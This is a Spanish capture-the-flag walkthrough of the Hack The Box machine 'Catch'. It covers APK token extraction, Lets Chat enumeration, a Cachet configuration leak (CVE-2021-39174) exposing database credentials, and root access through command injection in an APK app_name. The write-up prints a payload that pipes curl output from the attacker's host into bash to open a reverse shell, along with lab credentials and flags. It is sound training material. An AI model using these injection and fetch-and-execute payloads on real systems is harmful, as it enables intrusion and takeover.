This page looks best with JavaScript enabled

Hack The Box - Catch

Catch presenta un APK que contiene Tokens de autenticación lo que nos permitió acceder a Lets Chat, en este último encontramos credenciales. Una vulnerabilidad en Catch permite filtrar las variables de configuración, tras la explotación obtuvimos nuevas credenciales y acceso por SSH. Finalmente escalamos privilegios realizando Command Injection en el nombre de una aplicación de un APK.

Nombre Catch box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.11.150
Maker

MrR3boot

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6.3, 5.8, 5.3, 4.7, 4.2],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[3, 10, 6, 4, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80, 3000, 5000, 8000) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
# Nmap 7.92 scan initiated Sat Mar 12 21:53:05 2022 as: nmap -p22,80,3000,5000,8000 -sV -sC -oN nmap_scan 10.10.11.150
Nmap scan report for 10.10.11.150
Host is up (0.23s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Catch Global Systems
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open  ppp?
| fingerprint-strings:
|   GenericLines, Help, RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: i_like_gitea=8da9befe09c1de50; Path=/; HttpOnly
|     Set-Cookie: _csrf=kkQpkmsvK4ttR_jHjOq9U9aeGZo6MTY0NzEzOTk5MTcwODg3MTU1NA; Path=/; Expires=Mon, 14 Mar 2022 02:53:11 GMT; HttpOnly; SameSite=Lax
|     Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Sun, 13 Mar 2022 02:53:11 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title> Catch Repositories </title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiQ2F0Y2ggUmVwb3NpdG9yaWVzIiwic2hvcnRfbmFtZSI6IkNhdGNoIFJlcG9zaXRvcmllcyIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jYXRjaC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNhdGNoLmh0Yjoz
|   HTTPOptions:
|     HTTP/1.0 405 Method Not Allowed
|     Set-Cookie: i_like_gitea=6b2f273aca25d51f; Path=/; HttpOnly
|     Set-Cookie: _csrf=UPxe8n-XDdMZ0kAyBraVoF3m_YA6MTY0NzEzOTk5ODA1NTA1NDExNA; Path=/; Expires=Mon, 14 Mar 2022 02:53:18 GMT; HttpOnly; SameSite=Lax
|     Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Sun, 13 Mar 2022 02:53:18 GMT
|_    Content-Length: 0
5000/tcp open  upnp?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, SMBProgNeg, ZendJavaBridge:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest:
|     HTTP/1.1 302 Found
|     X-Frame-Options: SAMEORIGIN
|     X-Download-Options: noopen
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     Content-Security-Policy:
|     X-Content-Security-Policy:
|     X-WebKit-CSP:
|     X-UA-Compatible: IE=Edge,chrome=1
|     Location: /login
|     Vary: Accept, Accept-Encoding
|     Content-Type: text/plain; charset=utf-8
|     Content-Length: 28
|     Set-Cookie: connect.sid=s%3AlNVpQL1WsY7o7wjMwLTDCWvDgGy06dF4.sc5L2Y3KLNYlCrY%2BgkIYKzqajxyPvTaXxCpDDc5HvpM; Path=/; HttpOnly
|     Date: Sun, 13 Mar 2022 02:53:16 GMT
|     Connection: close
|     Found. Redirecting to /login
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     X-Frame-Options: SAMEORIGIN
|     X-Download-Options: noopen
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     Content-Security-Policy:
|     X-Content-Security-Policy:
|     X-WebKit-CSP:
|     X-UA-Compatible: IE=Edge,chrome=1
|     Allow: GET,HEAD
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 8
|     ETag: W/"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg"
|     Set-Cookie: connect.sid=s%3AMUO7oTw60AcH91PKbLM2UBt3LYJ7Vh_E.MZzoCA%2BVW53txUUmyxM2Q1ROasfXVz8QDoD4hNj6FJw; Path=/; HttpOnly
|     Vary: Accept-Encoding
|     Date: Sun, 13 Mar 2022 02:53:19 GMT
|     Connection: close
|_    GET,HEAD
8000/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Catch Global Systems
|_http-server-header: Apache/2.4.29 (Ubuntu)
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
[.. snip ..]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar 12 21:55:00 2022 -- 1 IP address (1 host up) scanned in 114.50 seconds

Web Site

Vemos que muestra un sitio estatico en el puerto 80, además expone un archivo .apk.
image

Gitea

En el puerto 3000 encontramos Gitea en su versión 1.14.1, la versión vulnerable más cercana es 1.12.5.

image

Únicamente encontramos al usuario root y ningun repositorio público activo.

image

Lets Chat

Por el puerto 5000 vemos un formulario para Lets Chat, tras investigar un poco encontramos el Repositorio de Github de esta aplicación, no presenta alguna vulnerabilidad hasta la fecha.

image

Cachet

Finalmente en el puerto 8000 encontramos Cachet, un post expone distintas vulnerabilidades aunque es necesaria la autenticación para explotarlas.

image

Catch App

Anteriormente se mencinó un apk, utilizando jadx en su version gráfica, observamos en el MainActivity un WebView para el sitio web https://status.catch.htb, agregamos el dominio y subdominio al archivo /etc/hosts.

image

Tras explorar las strings del apk encontramos dos tokens: gitea y lets chat.

1
2
<string name="gitea_token">b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0</string>
<string name="lets_chat_token">NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==</string>

image

Al instalar y ejecutar esta aplicación, vemos que, unicamente realiza la visita del sitio https://status.catch.htb como se muestra en el MainActivity, sin embargo no obtuvimos una respuesta por parte de la máquina.

image

Gitea

Utilizamos el token encontrado en la API “interactiva” de Gitea.
image

Tras enumerar los distintos usuarios e información de configuración, no encontramos suficiente información para acceder por Gitea.

Lets Chat

Segun la Documentación de Lets Chat menciona que es posible utilizar un token como nombre de usuario para autenticación dejando en blanco la contraseña, sin embargo la applicación no lo permite.

image

Utilizando las diferentes rutas descritas en la Documentación creamos un pequeño script para obtener la mayor información posible con el token encontrado.

Inicialmente observamos los detalles de la cuenta del token, en este caso al usuario admin, vemos que existen tres salas y cuatro usuarios, observamos la conversación de cada sala, en una de estas encontramos credenciales aunque no menciona a que aplicación o servicio pertenece.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
 π ~/htb/catch ❯ python3 lets-chat.py
                    Account Details
┏━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Detail     ┃ Info.                                  ┃
┡━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ First Name │ Administrator                          │
│ Last Name  │ NA                                     │
│ Username   │ admin                                  │
│ Rooms      │ Status, Employees, Android Development │
└────────────┴────────────────────────────────────────┘
                  Server Details
┏━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Detail ┃                                        ┃
┡━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ Rooms  │ Status, Android Development, Employees │
│ Users  │ admin, john, will, lucas               │
│ Files  │                                        │
└────────┴────────────────────────────────────────┘
─────────────────────────────────────────────────────────────────────────── Rooms ───────────────────────────────────────────────────────────────────────────
╭────────╮ ╭─────────────────────╮ ╭───────────╮
│ Status │ │ Android Development │ │ Employees │
╰────────╯ ╰─────────────────────╯ ╰───────────╯
─────────────────────────────────────────────────────────────────────── Room: Status ────────────────────────────────────────────────────────────────────────
  john: ah sure!
  admin: You should actually include this task to your list as well as a part of quarterly audit
  john: Also make sure we've our systems, applications and databases up-to-date.
  admin: Excellent!
  john: Why not. We've this in our todo list for next quarter
  admin: @john is it possible to add SSL to our status domain to make sure everything is secure ?
  lucas: Here are the credentials `john :  E}V!mywu_69T4C}W`
  lucas: Sure one sec.
  john: Can you create an account for me ?
  lucas: Hey Team! I'll be handling the `status.catch.htb` from now on. Lemme know if you need anything from me.
───────────────────────────────────────────────────────────────── Room: Android Development ─────────────────────────────────────────────────────────────────
  admin: Hey Team, Just heads up that we're working on android app to alert our customers about status of the services.
────────────────────────────────────────────────────────────────────── Room: Employees ──────────────────────────────────────────────────────────────────────
  lucas: Thanks @admin
  admin: Please welcome our new IT Admin - Lucas, a crucial role that will help Catch’s revenue and will contribute to the overall profitability of the
company!
  will: Thanks John! Glad to be part of the Catch
  john: Welcome Will!
  admin: Join me in welcoming our new employee Will Robinson who's working as iOS Developer with John Team
 π ~/htb/catch ❯

Cachet - Configuration Leak

Las credenciales encontradas nos permitieron el acceso al dashboard de Cachet.

image

CVE-2021-39174

Anteriormente se mencionó un post con multiples vulnerabilidades en cachet.
Se explica que es posible filtrar la configuración de Cachet del archivo .env utilizando ${} con el nombre de la variable declarada, es decir ${VARIABLE}, tal y como se muestra en el ejemplo de Nesting Variables. Además se menciona que al obtener el valor de APP_KEY nos puede permitir ejecutar comandos (RCE) aunque es necesario que el SESSION_DRIVER esté configurado con valor de cookie.

Intentamos obtener el valor de las variables, encontramos que en Mail Address se muestran los valores, vemos el valor de APP_KEY.

image

Exploit

Creamos un pequeño script para obtener la configuración de ciertas variables que tomamos de .env.example las cuales contienen credenciales, tomando en cuenta el formulario que se explica en el Anexo, además, nuestro script permite configurar las variables Redis para el CVE-2021-39172.

Tras ejecutar el script obtuvimos las credenciales de la base de datos.

1
2
3
4
 π ~/htb/catch ❯ ./cve.py -u john -p 'E}V!mywu_69T4C}W' -url http://catch.htb:8000
[+] Enviando variables.
[+] Valores Obtenidos:
   DB_U: will DB_P: s2#4Fg0_%3! MAIL_U:  MAIL_P:

User - Will

Con las credenciales encontradas logramos acceder por SSH y a la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 π ~/htb/catch ❯ ssh will@catch.htb # s2#4Fg0_%3!
will@catch.htb's password:
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-104-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed 20 Apr 2022 01:30:29 AM UTC

  System load:                      0.12
  Usage of /:                       72.9% of 16.61GB
  Memory usage:                     77%
  Swap usage:                       60%
  Processes:                        449
  Users logged in:                  0
  IPv4 address for br-535b7cf3a728: 172.18.0.1
  IPv4 address for br-fe1b5695b604: 172.19.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.10.11.150


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Apr 19 22:50:29 2022 from 10.10.14.207
will@catch:~$ pwd;whoami;id
/home/will
will
uid=1000(will) gid=1000(will) groups=1000(will)
will@catch:~$ ls
user.txt
will@catch:~$ cat user.txt
b0d4a3d2c6c5b062b301b0796fe675c7
will@catch:~$

Privesc

Tras la ejecución de pspy descubrimos un cronjob el cual ejecuta el script verify.sh.

1
2
3
4
5
6
7
8
9
2022/04/20 01:34:01 CMD: UID=0    PID=380031 | /usr/sbin/CRON -f
2022/04/20 01:34:01 CMD: UID=0    PID=380030 | /usr/sbin/CRON -f
2022/04/20 01:34:01 CMD: UID=0    PID=380032 | /bin/sh -c rm -rf /root/mdm/certified_apps/*
2022/04/20 01:34:01 CMD: UID=0    PID=380034 | /bin/sh -c /opt/mdm/verify.sh
2022/04/20 01:34:01 CMD: UID=0    PID=380035 | /bin/bash /opt/mdm/verify.sh
2022/04/20 01:34:01 CMD: UID=???  PID=380038 | ???
2022/04/20 01:34:01 CMD: UID=0    PID=380036 |
2022/04/20 01:34:01 CMD: UID=0    PID=380039 | /bin/bash /opt/mdm/verify.sh
2022/04/20 01:34:01 CMD: UID=0    PID=380041 | jarsigner -verify /root/mdm/apk_bin/057b94c0323145cddea8fc14.apk

El script verifica la firma, version de compilación y nombre de la app, de cada archivo .apk en /opt/mdm/apk_bin/.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/bin/bash

###################
# Signature Check #
###################

sig_check() {
  jarsigner -verify "$1/$2" 2>/dev/null >/dev/null
  if [[ $? -eq 0 ]]; then
    echo '[+] Signature Check Passed'
  else
    echo '[!] Signature Check Failed. Invalid Certificate.'
    cleanup
    exit
  fi
}

#######################
# Compatibility Check #
#######################

comp_check() {
  apktool d -s "$1/$2" -o $3 2>/dev/null >/dev/null
  COMPILE_SDK_VER=$(grep -oPm1 "(?<=compileSdkVersion=\")[^\"]+" "$PROCESS_BIN/AndroidManifest.xml")
  if [ -z "$COMPILE_SDK_VER" ]; then
    echo '[!] Failed to find target SDK version.'
    cleanup
    exit
  else
    if [ $COMPILE_SDK_VER -lt 18 ]; then
      echo "[!] APK Doesn't meet the requirements"
      cleanup
      exit
    fi
  fi
}

####################
# Basic App Checks #
####################

app_check() {
  APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
  echo $APP_NAME
  if [[ $APP_NAME == *"Catch"* ]]; then
    echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
    mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
  else
    echo "[!] App doesn't belong to Catch Global"
    cleanup
    exit
  fi
}


###########
# Cleanup #
###########

cleanup() {
  rm -rf $PROCESS_BIN;rm -rf "$DROPBOX/*" "$IN_FOLDER/*";rm -rf $(ls -A /opt/mdm | grep -v apk_bin | grep -v verify.sh)
}


###################
# MDM CheckerV1.0 #
###################

DROPBOX=/opt/mdm/apk_bin
IN_FOLDER=/root/mdm/apk_bin
OUT_FOLDER=/root/mdm/certified_apps
PROCESS_BIN=/root/mdm/process_bin

for IN_APK_NAME in $DROPBOX/*.apk;do
  OUT_APK_NAME="$(echo ${IN_APK_NAME##*/} | cut -d '.' -f1)_verified.apk"
  APK_NAME="$(openssl rand -hex 12).apk"
  if [[ -L "$IN_APK_NAME" ]]; then
    exit
  else
    mv "$IN_APK_NAME" "$IN_FOLDER/$APK_NAME"
  fi
  sig_check $IN_FOLDER $APK_NAME
  comp_check $IN_FOLDER $APK_NAME $PROCESS_BIN
  app_check $PROCESS_BIN $OUT_FOLDER $IN_FOLDER $OUT_APK_NAME
done
cleanup

Command Injection

Tras analizar el script encontramos que es posible realizar ‘Command Injection’ en la función app_check(). Inicialmente se obtiene el valor de la string app_name, verifica que este tenga el valor *Catch*, en tal caso utiliza app_name para crear un directorio, en este ultimo paso es posible inyectar un comando modificando el valor app_name en strings.xml.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
app_check() {
  APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
  echo $APP_NAME
  if [[ $APP_NAME == *"Catch"* ]]; then
    echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}' # <-----
    mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
  else
    echo "[!] App doesn't belong to Catch Global"
    cleanup
    exit
  fi
}

Craft - APK

Para Injectar Comandos es necesario decompilar, modificar y compilar un apk, para ello utilizamos el apk que inicialmente encontramos: catchv1.0.apk. Creamos un script que nos permite crear el apk y enviar este al directorio de la máquina.

  • Inicialmente se instalan las herramientas necesarias: zipalign, apktool jarsigner. Aunque alguna de estas ya viene por defecto en Kali.
  • Se decompila el apk en este caso utilizamos catchv1.0.apk.
  • Se modifica el archivo strings.xml.

Con el archivo strings.xml modificado el script:

  • Compila el apk con el archivo strings.xml modificado.
  • Genera una key para firmar el apk compilado.
  • Se eliminan los apks anteriormente generados, ya que es necesario realizar distintas pruebas.
  • Se compila el nuevo apk, se firma y optimiza para finalmente ser enviado a la maquina.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/bin/bash

# sudo apt-get install default-jdk zipalign -y
# apktool: https://bitbucket.org/iBotPeaches/apktool/downloads/

# Decompile
# java -jar apktool_2.6.1.jar d catchv1.0.apk

# Create key
if [[ -f key.keystore ]]; then
    echo ""
else
   keytool -genkey -V -keystore key.keystore -alias Catch -storepass '123456' -keypass '123456' -keyalg RSA -keysize 2048 -validity 10000 -dname 'CN=Catch, OU=Catch, O=Catch, L=Catch, ST=Catch, C=CA'
fi

# Delete previous apk generated
if [[ -f catch_comp.apk && -f catch_signed.apk ]]; then
    rm catch_comp.apk catch_signed.apk
fi

# Compile apk from modified apk folder: catchv1.0/
java -jar apktool_2.6.1.jar b catchv1.0 -o catch_comp.apk

# Sign compiled apk with key
jarsigner -sigalg SHA1withRSA -storepass '123456' -digestalg SHA1 -keystore key.keystore catch_comp.apk Catch
#jarsigner -verify -certs catch_comp.apk

# Optimization
zipalign -v 4 catch_comp.apk catch_signed.apk

# Copy apk to catch folder
echo "Copying apk to Catch.htb ..."
sshpass -p 's2#4Fg0_%3!' scp catch_signed.apk will@catch.htb:/opt/mdm/apk_bin/
echo "Check apk in apk_bin/"
sshpass -p 's2#4Fg0_%3!' ssh -t will@catch.htb 'ls -lah /opt/mdm/apk_bin/'
echo ""

Teniendo nuestro script listo realizamos la modificacion al archivo strings.xml, enviamos un pequeño ping a nuestra máquina.

1
<string name="app_name">Catch|ping -c 3 10.10.14.207</string>

Ejecutamos el script vemos que no hay ningun error y que el archivo está en la carpeta apk_bin/.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 π ~/htb/catch/app ❯ ./modify.sh
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Destination directory (/home/kali/htb/catch/app/catchv1.0) already exists. Use -f switch if you want to overwrite it.

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.6.1
I: Checking whether sources has changed...
I: Checking whether resources has changed...
I: Building apk file...
I: Copying unknown files/dir...
I: Built apk...
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
jar signed.

Warning:
The signer's certificate is self-signed.
The SHA1 algorithm specified for the -digestalg option is considered a security risk. This algorithm will be disabled in a future update.
The SHA1withRSA algorithm specified for the -sigalg option is considered a security risk. This algorithm will be disabled in a future update.
Verifying alignment of catch_signed.apk (4)...
      50 META-INF/MANIFEST.MF (OK - compressed)
   20453 META-INF/CATCH.SF (OK - compressed)
[.. snip ..]
  418036 resources.arsc (OK)
 1115381 classes.dex (OK - compressed)
Verification successful
Copying apk to Catch.htb ...
Check apk in apk_bin/
total 2.7M
drwxrwx--x+ 2 root root 4.0K Apr 20 03:37 .
drwxr-x--x+ 3 root root 4.0K Mar  3 14:23 ..
-rw-r--r--  1 will will 2.7M Apr 20 03:37 catch_signed.apk
Connection to catch.htb closed.

 π ~/htb/catch/app ❯

Después de unos segundos obtuvimos un ping desde la máquina.

1
2
3
4
5
6
7
 π ~/htb/catch ❯ sudo tcpdump -i tun1 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun1, link-type RAW (Raw IP), snapshot length 262144 bytes
23:37:14.007382 IP catch.htb > 10.10.14.207: ICMP echo request, id 4, seq 1, length 64
23:37:14.007398 IP 10.10.14.207 > catch.htb: ICMP echo reply, id 4, seq 1, length 64
23:37:15.008580 IP catch.htb > 10.10.14.207: ICMP echo request, id 4, seq 2, length 64
23:37:15.008619 IP 10.10.14.207 > catch.htb: ICMP echo reply, id 4, seq 2, length 64

Ejecutamos shells, modificamos el archivo strings.xml de tal forma que nos ejecute una shell inversa.

1
<string name="app_name">Catch|curl 10.10.14.207/10.10.14.207:1338|bash</string>

Luego de ejecutar el script logramos obtener una shell como root y nuestra flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
 π ~/htb/catch ❯ rlwrap nc -lvp 1338
listening on [any] 1338 ...
connect to [10.10.14.207] from catch.htb [10.10.11.150] 37512
can't access tty; job control turned off
# which python
# which python3
/usr/bin/python3
# python3 -c 'import pty;pty.spawn("/bin/bash");'
root@catch:~# whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/root
root@catch:~# ls
Catch  index.html  lets-chat  mdm  reset.sh  root.txt  run.sh
root@catch:~# cat root.txt
57edb41f6f12cae3f62e1392e71e79e1
root@catch:~#

Anexo - CVE

CVE-2021-39172

La explotación del CVE-2021-39172 RCE parece no funcionar por varios motivos, uno de ellos es un cronjob (reset.sh) el cual reemplaza el archivo .env de cada contenedor, lo que hace que la configuración cambie a su estado inicial.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
root@catch:~# crontab -l
*/3 * * * *  /root/reset.sh
@reboot /root/run.sh
@reboot cd /root/lets-chat;/usr/bin/npm start
* * * * * /opt/mdm/verify.sh
* * * * * rm -rf /root/mdm/certified_apps/*
root@catch:~# cat /root/reset.sh
#!/bin/bash
for i in `docker ps -a -q`
  do
    docker cp /root/.env $i:/var/www/html/Cachet/.env
  done
root@catch:~#

Aún si la configuración aparece por un corto periodo de tiempo en el archivo, el servidor redis no recibe ninguna petición/conexión desde la máquina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root@85be90327d1d:/var/www/html/Cachet# cat .env
[.. snip ..]

CACHE_DRIVER=file       <---
REDIS_HOST=10.10.14.207 <---
REDIS_DATABASE=0        <---
REDIS_PORT=6379         <---
SESSION_DRIVER=redis    <---
SESSION_DRIVER=database 
QUEUE_DRIVER=null

CACHET_BEACON=true
CACHET_EMOJI=false
CACHET_AUTO_TWITTER=true

MAIL_DRIVER=smtp
MAIL_HOST=
MAIL_PORT=null
MAIL_USERNAME=
MAIL_PASSWORD=
MAIL_ADDRESS=notify@10.129.136.74
MAIL_NAME=null
MAIL_ENCRYPTION=tls

REDIS_HOST=null
REDIS_DATABASE=null
REDIS_PORT=null

[.. snip ..]

Unicamente se muestra un codigo de respuesta 500.

image

CVE-2021-39174

En el post se menciona que no hay ningun tipo de validación y al enviar un valor con saltos de lineas se crearían nuevas variables de configuración las cuales reemplazarian a las siguientes. Sin embargo parece ser posible editar las variables existentes utilizando el formulario de configuración, sin utilizar los saltos de linea.

1
2
3
4
5
6
# Ex:
config[cache_driver]: 'file',            
config[redis_host]: redis-server.htb,
config[redis_database]: '0',
config[redis_port]: 6969,  
config[session_driver]: 'redis',

En este caso vemos los cambios reflejados en el archivo de configuración.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
root@85be90327d1d:/var/www/html/Cachet# cat .env
APP_ENV=production
APP_DEBUG=false
APP_URL=http://localhost
APP_TIMEZONE=UTC
APP_KEY=base64:9mUxJeOqzwJdByidmxhbJaa74xh3ObD79OI6oG1KgyA=
DEBUGBAR_ENABLED=false

DB_DRIVER=mysql
DB_HOST=localhost
DB_UNIX_SOCKET=null
DB_DATABASE=cachet
DB_USERNAME=will
DB_PASSWORD=s2#4Fg0_%3!
DB_PORT=null
DB_PREFIX=null

CACHE_DRIVER=file            <----- 
SESSION_DRIVER=redis         <-----
QUEUE_DRIVER=null

CACHET_BEACON=true
CACHET_EMOJI=false
CACHET_AUTO_TWITTER=true

MAIL_DRIVER=smtp
MAIL_HOST=
MAIL_PORT=null
MAIL_USERNAME=
MAIL_PASSWORD=
MAIL_ADDRESS=notify@10.129.136.74
MAIL_NAME=null
MAIL_ENCRYPTION=tls

REDIS_HOST=redis-server.htb <-----
REDIS_DATABASE=0            <-----
REDIS_PORT=6969             <-----

GITHUB_TOKEN=null

NEXMO_KEY=null
NEXMO_SECRET=null
NEXMO_SMS_FROM=Cachet

TRUSTED_PROXIES=
root@85be90327d1d:/var/www/html/Cachet#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe